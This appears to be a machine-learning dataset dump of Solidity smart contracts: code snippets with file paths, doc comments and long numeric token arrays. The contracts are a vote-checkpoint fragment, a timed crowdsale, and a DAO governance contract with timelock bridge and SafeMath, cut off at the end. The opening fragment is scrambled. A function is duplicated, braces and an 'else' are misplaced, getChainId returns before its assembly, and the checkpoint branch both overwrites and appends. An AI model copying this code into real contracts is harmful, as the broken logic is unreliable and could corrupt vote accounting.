uint32 blockNumber = safe32(block.number, "IVAULT::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "IVAULT::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
} else {
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
return chainId;
}
assembly { chainId := chainid() }
}
| 11,155,529 | [
1,
45,
26983,
6187,
1359,
598,
611,
1643,
82,
1359,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
467,
26983,
6187,
1359,
353,
9722,
52,
3462,
2668,
45,
26983,
3155,
2187,
296,
8188,
37,
2274,
6134,
288,
203,
203,
565,
445,
312,
474,
12,
2867,
389,
869,
16,
2254,
5034,
389,
8949,
13,
1071,
1338,
5541,
288,
203,
3639,
389,
81,
474,
24899,
869,
16,
389,
8949,
1769,
203,
3639,
389,
8501,
15608,
815,
12,
2867,
12,
20,
3631,
389,
3771,
1332,
815,
63,
67,
869,
6487,
389,
8949,
1769,
203,
565,
289,
203,
203,
203,
203,
565,
2874,
261,
2867,
516,
1758,
13,
2713,
389,
3771,
1332,
815,
31,
203,
565,
1958,
25569,
288,
203,
3639,
2254,
1578,
628,
1768,
31,
203,
3639,
2254,
5034,
19588,
31,
203,
565,
289,
203,
203,
203,
203,
203,
203,
203,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
11890,
1578,
516,
25569,
3719,
1071,
26402,
31,
203,
565,
2874,
261,
2867,
516,
2254,
1578,
13,
1071,
818,
1564,
4139,
31,
203,
565,
1731,
1578,
1071,
5381,
27025,
67,
2399,
15920,
273,
417,
24410,
581,
5034,
2932,
41,
2579,
27,
2138,
3748,
12,
1080,
508,
16,
11890,
5034,
2687,
548,
16,
2867,
3929,
310,
8924,
2225,
1769,
203,
565,
1731,
1578,
1071,
5381,
2030,
19384,
2689,
67,
2399,
15920,
273,
417,
24410,
581,
5034,
2932,
26945,
12,
2867,
7152,
73,
16,
11890,
5034,
7448,
16,
11890,
5034,
10839,
2225,
1769,
203,
565,
2874,
261,
2867,
516,
2254,
13,
1071,
1661,
764,
31,
203,
565,
871,
27687,
5033,
12,
2867,
8808,
11158,
639,
16,
1758,
8808,
628,
9586,
16,
1758,
8808,
358,
9586,
1769,
2
]
|
./partial_match/56/0xC3Dc6A4aEd6B6f43535aCFAA50Cd348eFcF0bC80/sources/CrepeToken.sol | * @title TimedCrowdsale @dev Crowdsale accepting contributions only within a time frame./ | contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(
block.timestamp >= openingTime && block.timestamp <= closingTime
);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
| 11,203,946 | [
1,
19336,
39,
492,
2377,
5349,
225,
385,
492,
2377,
5349,
25806,
13608,
6170,
1338,
3470,
279,
813,
2623,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
23925,
39,
492,
2377,
5349,
353,
385,
492,
2377,
5349,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
2254,
5034,
1071,
10890,
950,
31,
203,
565,
2254,
5034,
1071,
7647,
950,
31,
203,
203,
565,
9606,
1338,
15151,
3678,
288,
203,
3639,
2583,
12,
203,
5411,
1203,
18,
5508,
1545,
10890,
950,
597,
1203,
18,
5508,
1648,
7647,
950,
203,
3639,
11272,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
3885,
12,
11890,
5034,
389,
3190,
310,
950,
16,
2254,
5034,
389,
19506,
950,
13,
1071,
288,
203,
3639,
2583,
24899,
3190,
310,
950,
1545,
1203,
18,
5508,
1769,
203,
3639,
2583,
24899,
19506,
950,
1545,
389,
3190,
310,
950,
1769,
203,
203,
3639,
10890,
950,
273,
389,
3190,
310,
950,
31,
203,
3639,
7647,
950,
273,
389,
19506,
950,
31,
203,
565,
289,
203,
203,
565,
445,
711,
7395,
1435,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
1203,
18,
5508,
405,
7647,
950,
31,
203,
565,
289,
203,
203,
565,
445,
389,
1484,
4270,
23164,
12,
2867,
389,
70,
4009,
74,
14463,
814,
16,
2254,
5034,
389,
1814,
77,
6275,
13,
203,
3639,
2713,
203,
3639,
1338,
15151,
3678,
203,
565,
288,
203,
3639,
2240,
6315,
1484,
4270,
23164,
24899,
70,
4009,
74,
14463,
814,
16,
389,
1814,
77,
6275,
1769,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import "./interfaces/ISupernova.sol";
import "./Bridge.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Governance is Bridge {
using SafeMath for uint256;
enum ProposalState {
WarmUp,
Active,
Canceled,
Failed,
Accepted,
Queued,
Grace,
Expired,
Executed,
Abrogated
}
struct Receipt {
// Whether or not a vote has been cast
bool hasVoted;
// The number of votes the voter had, which were cast
uint256 votes;
// support
bool support;
}
struct AbrogationProposal {
address creator;
uint256 createTime;
string description;
uint256 forVotes;
uint256 againstVotes;
mapping(address => Receipt) receipts;
}
struct ProposalParameters {
uint256 warmUpDuration;
uint256 activeDuration;
uint256 queueDuration;
uint256 gracePeriodDuration;
uint256 acceptanceThreshold;
uint256 minQuorum;
}
struct Proposal {
// proposal identifiers
// unique id
uint256 id;
// Creator of the proposal
address proposer;
// proposal description
string description;
string title;
// proposal technical details
// ordered list of target addresses to be made
address[] targets;
// The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint256[] values;
// The ordered list of function signatures to be called
string[] signatures;
// The ordered list of calldata to be passed to each call
bytes[] calldatas;
// proposal creation time - 1
uint256 createTime;
// votes status
// The timestamp that the proposal will be available for execution, set once the vote succeeds
uint256 eta;
// Current number of votes in favor of this proposal
uint256 forVotes;
// Current number of votes in opposition to this proposal
uint256 againstVotes;
bool canceled;
bool executed;
// Receipts of ballots for the entire set of voters
mapping(address => Receipt) receipts;
ProposalParameters parameters;
}
uint256 public lastProposalId;
mapping(uint256 => Proposal) public proposals;
mapping(uint256 => AbrogationProposal) public abrogationProposals;
mapping(address => uint256) public latestProposalIds;
ISupernova supernova;
bool isInitialized;
bool public isActive;
event ProposalCreated(uint256 indexed proposalId);
event Vote(uint256 indexed proposalId, address indexed user, bool support, uint256 power);
event VoteCanceled(uint256 indexed proposalId, address indexed user);
event ProposalQueued(uint256 indexed proposalId, address caller, uint256 eta);
event ProposalExecuted(uint256 indexed proposalId, address caller);
event ProposalCanceled(uint256 indexed proposalId, address caller);
event AbrogationProposalStarted(uint256 indexed proposalId, address caller);
event AbrogationProposalExecuted(uint256 indexed proposalId, address caller);
event AbrogationProposalVote(uint256 indexed proposalId, address indexed user, bool support, uint256 power);
event AbrogationProposalVoteCancelled(uint256 indexed proposalId, address indexed user);
receive() external payable {}
// executed only once
function initialize(address supernovaAddr) public {
require(isInitialized == false, "Contract already initialized.");
require(supernovaAddr != address(0), "supernova must not be 0x0");
supernova = ISupernova(supernovaAddr);
isInitialized = true;
}
function activate() public {
require(!isActive, "DAO already active");
require(supernova.xyzStaked() >= ACTIVATION_THRESHOLD, "Threshold not met yet");
isActive = true;
}
function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description,
string memory title
)
public returns (uint256)
{
if (!isActive) {
require(supernova.xyzStaked() >= ACTIVATION_THRESHOLD, "DAO not yet active");
isActive = true;
}
require(
supernova.votingPowerAtTs(msg.sender, block.timestamp - 1) >= _getCreationThreshold(),
"Creation threshold not met"
);
require(
targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length,
"Proposal function information arity mismatch"
);
require(targets.length != 0, "Must provide actions");
require(targets.length <= PROPOSAL_MAX_ACTIONS, "Too many actions on a vote");
require(bytes(title).length > 0, "title can't be empty");
require(bytes(description).length > 0, "description can't be empty");
// check if user has another running vote
uint256 previousProposalId = latestProposalIds[msg.sender];
if (previousProposalId != 0) {
require(_isLiveState(previousProposalId) == false, "One live proposal per proposer");
}
uint256 newProposalId = lastProposalId + 1;
Proposal storage newProposal = proposals[newProposalId];
newProposal.id = newProposalId;
newProposal.proposer = msg.sender;
newProposal.description = description;
newProposal.title = title;
newProposal.targets = targets;
newProposal.values = values;
newProposal.signatures = signatures;
newProposal.calldatas = calldatas;
newProposal.createTime = block.timestamp - 1;
newProposal.parameters.warmUpDuration = warmUpDuration;
newProposal.parameters.activeDuration = activeDuration;
newProposal.parameters.queueDuration = queueDuration;
newProposal.parameters.gracePeriodDuration = gracePeriodDuration;
newProposal.parameters.acceptanceThreshold = acceptanceThreshold;
newProposal.parameters.minQuorum = minQuorum;
lastProposalId = newProposalId;
latestProposalIds[msg.sender] = newProposalId;
emit ProposalCreated(newProposalId);
return newProposalId;
}
function queue(uint256 proposalId) public {
require(state(proposalId) == ProposalState.Accepted, "Proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint256 eta = proposal.createTime + proposal.parameters.warmUpDuration + proposal.parameters.activeDuration + proposal.parameters.queueDuration;
proposal.eta = eta;
for (uint256 i = 0; i < proposal.targets.length; i++) {
require(
!queuedTransactions[_getTxHash(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta)],
"proposal action already queued at eta"
);
queueTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
emit ProposalQueued(proposalId, msg.sender, eta);
}
function execute(uint256 proposalId) public payable {
require(_canBeExecuted(proposalId), "Cannot be executed");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
executeTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId, msg.sender);
}
function cancelProposal(uint256 proposalId) public {
require(_isCancellableState(proposalId), "Proposal in state that does not allow cancellation");
require(_canCancelProposal(proposalId), "Cancellation requirements not met");
Proposal storage proposal = proposals[proposalId];
proposal.canceled = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId, msg.sender);
}
function castVote(uint256 proposalId, bool support) public {
require(state(proposalId) == ProposalState.Active, "Voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[msg.sender];
// exit if user already voted
require(receipt.hasVoted == false || receipt.hasVoted && receipt.support != support, "Already voted this option");
uint256 votes = supernova.votingPowerAtTs(msg.sender, _getSnapshotTimestamp(proposal));
require(votes > 0, "no voting power");
// means it changed its vote
if (receipt.hasVoted) {
if (receipt.support) {
proposal.forVotes = proposal.forVotes.sub(receipt.votes);
} else {
proposal.againstVotes = proposal.againstVotes.sub(receipt.votes);
}
}
if (support) {
proposal.forVotes = proposal.forVotes.add(votes);
} else {
proposal.againstVotes = proposal.againstVotes.add(votes);
}
receipt.hasVoted = true;
receipt.votes = votes;
receipt.support = support;
emit Vote(proposalId, msg.sender, support, votes);
}
function cancelVote(uint256 proposalId) public {
require(state(proposalId) == ProposalState.Active, "Voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[msg.sender];
uint256 votes = supernova.votingPowerAtTs(msg.sender, _getSnapshotTimestamp(proposal));
require(receipt.hasVoted, "Cannot cancel if not voted yet");
if (receipt.support) {
proposal.forVotes = proposal.forVotes.sub(votes);
} else {
proposal.againstVotes = proposal.againstVotes.sub(votes);
}
receipt.hasVoted = false;
receipt.votes = 0;
receipt.support = false;
emit VoteCanceled(proposalId, msg.sender);
}
// ======================================================================================================
// Abrogation proposal methods
// ======================================================================================================
// the Abrogation Proposal is a mechanism for the DAO participants to veto the execution of a proposal that was already
// accepted and it is currently queued. For the Abrogation Proposal to pass, 50% + 1 of the vBOND holders
// must vote FOR the Abrogation Proposal
function startAbrogationProposal(uint256 proposalId, string memory description) public {
require(state(proposalId) == ProposalState.Queued, "Proposal must be in queue");
require(
supernova.votingPowerAtTs(msg.sender, block.timestamp - 1) >= _getCreationThreshold(),
"Creation threshold not met"
);
AbrogationProposal storage ap = abrogationProposals[proposalId];
require(ap.createTime == 0, "Abrogation proposal already exists");
require(bytes(description).length > 0, "description can't be empty");
ap.createTime = block.timestamp;
ap.creator = msg.sender;
ap.description = description;
emit AbrogationProposalStarted(proposalId, msg.sender);
}
// abrogateProposal cancels a proposal if there's an Abrogation Proposal that passed
function abrogateProposal(uint256 proposalId) public {
require(state(proposalId) == ProposalState.Abrogated, "Cannot be abrogated");
Proposal storage proposal = proposals[proposalId];
require(proposal.canceled == false, "Cannot be abrogated");
proposal.canceled = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit AbrogationProposalExecuted(proposalId, msg.sender);
}
function abrogationProposal_castVote(uint256 proposalId, bool support) public {
require(0 < proposalId && proposalId <= lastProposalId, "invalid proposal id");
AbrogationProposal storage abrogationProposal = abrogationProposals[proposalId];
require(
state(proposalId) == ProposalState.Queued && abrogationProposal.createTime != 0,
"Abrogation Proposal not active"
);
Receipt storage receipt = abrogationProposal.receipts[msg.sender];
require(
receipt.hasVoted == false || receipt.hasVoted && receipt.support != support,
"Already voted this option"
);
uint256 votes = supernova.votingPowerAtTs(msg.sender, abrogationProposal.createTime - 1);
require(votes > 0, "no voting power");
// means it changed its vote
if (receipt.hasVoted) {
if (receipt.support) {
abrogationProposal.forVotes = abrogationProposal.forVotes.sub(receipt.votes);
} else {
abrogationProposal.againstVotes = abrogationProposal.againstVotes.sub(receipt.votes);
}
}
if (support) {
abrogationProposal.forVotes = abrogationProposal.forVotes.add(votes);
} else {
abrogationProposal.againstVotes = abrogationProposal.againstVotes.add(votes);
}
receipt.hasVoted = true;
receipt.votes = votes;
receipt.support = support;
emit AbrogationProposalVote(proposalId, msg.sender, support, votes);
}
function abrogationProposal_cancelVote(uint256 proposalId) public {
require(0 < proposalId && proposalId <= lastProposalId, "invalid proposal id");
AbrogationProposal storage abrogationProposal = abrogationProposals[proposalId];
Receipt storage receipt = abrogationProposal.receipts[msg.sender];
require(
state(proposalId) == ProposalState.Queued && abrogationProposal.createTime != 0,
"Abrogation Proposal not active"
);
uint256 votes = supernova.votingPowerAtTs(msg.sender, abrogationProposal.createTime - 1);
require(receipt.hasVoted, "Cannot cancel if not voted yet");
if (receipt.support) {
abrogationProposal.forVotes = abrogationProposal.forVotes.sub(votes);
} else {
abrogationProposal.againstVotes = abrogationProposal.againstVotes.sub(votes);
}
receipt.hasVoted = false;
receipt.votes = 0;
receipt.support = false;
emit AbrogationProposalVoteCancelled(proposalId, msg.sender);
}
// ======================================================================================================
// views
// ======================================================================================================
function state(uint256 proposalId) public view returns (ProposalState) {
require(0 < proposalId && proposalId <= lastProposalId, "invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
}
if (proposal.executed) {
return ProposalState.Executed;
}
if (block.timestamp <= proposal.createTime + proposal.parameters.warmUpDuration) {
return ProposalState.WarmUp;
}
if (block.timestamp <= proposal.createTime + proposal.parameters.warmUpDuration + proposal.parameters.activeDuration) {
return ProposalState.Active;
}
if ((proposal.forVotes + proposal.againstVotes) < _getQuorum(proposal) ||
(proposal.forVotes < _getMinForVotes(proposal))) {
return ProposalState.Failed;
}
if (proposal.eta == 0) {
return ProposalState.Accepted;
}
if (block.timestamp < proposal.eta) {
return ProposalState.Queued;
}
if (_proposalAbrogated(proposalId)) {
return ProposalState.Abrogated;
}
if (block.timestamp <= proposal.eta + proposal.parameters.gracePeriodDuration) {
return ProposalState.Grace;
}
return ProposalState.Expired;
}
function getReceipt(uint256 proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function getProposalParameters(uint256 proposalId) public view returns (ProposalParameters memory) {
return proposals[proposalId].parameters;
}
function getAbrogationProposalReceipt(uint256 proposalId, address voter) public view returns (Receipt memory) {
return abrogationProposals[proposalId].receipts[voter];
}
function getActions(uint256 proposalId) public view returns (
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getProposalQuorum(uint256 proposalId) public view returns (uint256) {
require(0 < proposalId && proposalId <= lastProposalId, "invalid proposal id");
return _getQuorum(proposals[proposalId]);
}
// ======================================================================================================
// internal methods
// ======================================================================================================
function _canCancelProposal(uint256 proposalId) internal view returns (bool){
Proposal storage proposal = proposals[proposalId];
if (msg.sender == proposal.proposer ||
supernova.votingPower(proposal.proposer) < _getCreationThreshold()
) {
return true;
}
return false;
}
function _isCancellableState(uint256 proposalId) internal view returns (bool) {
ProposalState s = state(proposalId);
return s == ProposalState.WarmUp || s == ProposalState.Active;
}
function _isLiveState(uint256 proposalId) internal view returns (bool) {
ProposalState s = state(proposalId);
return s == ProposalState.WarmUp ||
s == ProposalState.Active ||
s == ProposalState.Accepted ||
s == ProposalState.Queued ||
s == ProposalState.Grace;
}
function _canBeExecuted(uint256 proposalId) internal view returns (bool) {
return state(proposalId) == ProposalState.Grace;
}
function _getMinForVotes(Proposal storage proposal) internal view returns (uint256) {
return (proposal.forVotes + proposal.againstVotes).mul(proposal.parameters.acceptanceThreshold).div(100);
}
function _getCreationThreshold() internal view returns (uint256) {
return supernova.xyzStaked().div(100);
}
// Returns the timestamp of the snapshot for a given proposal
// If the current block's timestamp is equal to `proposal.createTime + warmUpDuration` then the state function
// will return WarmUp as state which will prevent any vote to be cast which will gracefully avoid any flashloan attack
function _getSnapshotTimestamp(Proposal storage proposal) internal view returns (uint256) {
return proposal.createTime + proposal.parameters.warmUpDuration;
}
function _getQuorum(Proposal storage proposal) internal view returns (uint256) {
return supernova.xyzStakedAtTs(_getSnapshotTimestamp(proposal)).mul(proposal.parameters.minQuorum).div(100);
}
function _proposalAbrogated(uint256 proposalId) internal view returns (bool) {
Proposal storage p = proposals[proposalId];
AbrogationProposal storage cp = abrogationProposals[proposalId];
if (cp.createTime == 0 || block.timestamp < p.eta) {
return false;
}
return cp.forVotes >= supernova.xyzStakedAtTs(cp.createTime - 1).div(2);
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
interface ISupernova {
struct Stake {
uint256 timestamp;
uint256 amount;
uint256 expiryTimestamp;
address delegatedTo;
}
// deposit allows a user to add more xyz to his staked balance
function deposit(uint256 amount) external;
// withdraw allows a user to withdraw funds if the balance is not locked
function withdraw(uint256 amount) external;
// lock a user's currently staked balance until timestamp & add the bonus to his voting power
function lock(uint256 timestamp) external;
// delegate allows a user to delegate his voting power to another user
function delegate(address to) external;
// stopDelegate allows a user to take back the delegated voting power
function stopDelegate() external;
// balanceOf returns the current BOND balance of a user (bonus not included)
function balanceOf(address user) external view returns (uint256);
// balanceAtTs returns the amount of BOND that the user currently staked (bonus NOT included)
function balanceAtTs(address user, uint256 timestamp) external view returns (uint256);
// stakeAtTs returns the Stake object of the user that was valid at `timestamp`
function stakeAtTs(address user, uint256 timestamp) external view returns (Stake memory);
// votingPower returns the voting power (bonus included) + delegated voting power for a user at the current block
function votingPower(address user) external view returns (uint256);
// votingPowerAtTs returns the voting power (bonus included) + delegated voting power for a user at a point in time
function votingPowerAtTs(address user, uint256 timestamp) external view returns (uint256);
// xyzStaked returns the total raw amount of BOND staked at the current block
function xyzStaked() external view returns (uint256);
// xyzStakedAtTs returns the total raw amount of BOND users have deposited into the contract
// it does not include any bonus
function xyzStakedAtTs(uint256 timestamp) external view returns (uint256);
// delegatedPower returns the total voting power that a user received from other users
function delegatedPower(address user) external view returns (uint256);
// delegatedPowerAtTs returns the total voting power that a user received from other users at a point in time
function delegatedPowerAtTs(address user, uint256 timestamp) external view returns (uint256);
// multiplierAtTs calculates the multiplier at a given timestamp based on the user's stake a the given timestamp
// it includes the decay mechanism
function multiplierAtTs(address user, uint256 timestamp) external view returns (uint256);
// userLockedUntil returns the timestamp until the user's balance is locked
function userLockedUntil(address user) external view returns (uint256);
// userDidDelegate returns the address to which a user delegated their voting power; address(0) if not delegated
function userDelegatedTo(address user) external view returns (address);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
import "./Parameters.sol";
abstract contract Bridge is Parameters {
mapping(bytes32 => bool) public queuedTransactions;
function queueTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) internal returns (bytes32) {
bytes32 txHash = _getTxHash(target, value, signature, data, eta);
queuedTransactions[txHash] = true;
return txHash;
}
function cancelTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) internal {
bytes32 txHash = _getTxHash(target, value, signature, data, eta);
queuedTransactions[txHash] = false;
}
function executeTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) internal returns (bytes memory) {
bytes32 txHash = _getTxHash(target, value, signature, data, eta);
require(block.timestamp >= eta, "executeTransaction: Transaction hasn't surpassed time lock.");
require(block.timestamp <= eta + gracePeriodDuration, "executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value : value}(callData);
require(success, string(returnData));
return returnData;
}
function _getTxHash(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) internal returns (bytes32) {
return keccak256(abi.encode(target, value, signature, data, eta));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
